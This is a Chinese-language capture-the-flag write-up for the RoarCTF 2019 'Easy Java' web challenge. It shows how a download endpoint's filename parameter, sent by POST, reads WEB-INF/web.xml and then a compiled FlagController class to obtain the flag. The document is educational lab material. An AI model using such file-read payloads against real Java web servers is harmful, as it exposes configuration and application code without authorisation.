> For the complete documentation index, see [llms.txt](https://writeup.owo.show/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://writeup.owo.show/roarctf-2019.md).

# RoarCTF 2019

## Web

### Easy Java

这是一道关于 Java WEB 的题目，通过点击 Help 按钮跳转到 `/Download?filename=help.docx` 会回显 `java.io.FileNotFoundException:{help.docx}`

#### **WEB-INF**

WEB-INF 是 Java 的 web 应用的安全目录，属于敏感目录，目录结构（模拟）如下图

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FNuUX0Nbb59bks1rKTrFk%2Feasyjava-3.png?alt=media&amp;token=1447ac2f-c090-49e0-9318-a81ec1bc2b23" alt=""><figcaption></figcaption></figure>

因此可以尝试 payload `filename=WEB-INF/web.xml` ，发现无法得到内容，尝试使用 POST 进行传入，可以得到以下内容

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FFZ1bMgRsTPvzf4o8M5uQ%2Feasyjava-1.png?alt=media&amp;token=d8c63804-f14e-41e0-84fd-1b766c85e70e" alt=""><figcaption></figcaption></figure>

```xml
   <servlet>
        <servlet-name>FlagController</servlet-name>
        <servlet-class>com.wm.ctf.FlagController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>FlagController</servlet-name>
        <url-pattern>/Flag</url-pattern>
    </servlet-mapping>
```

通过使用 `/WEB-INF/classes/` 来找 flag 即可，构造 payload `filename=/WEB-INF/classes/com/wm/ctf/FlagController.class` 就可以得到 flag 了

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FjEWnjHeuzi1h8WP51eGo%2Feasyjava-2.png?alt=media&amp;token=4475147a-d2b9-43f3-a7dc-61eaa9651eee" alt=""><figcaption></figcaption></figure>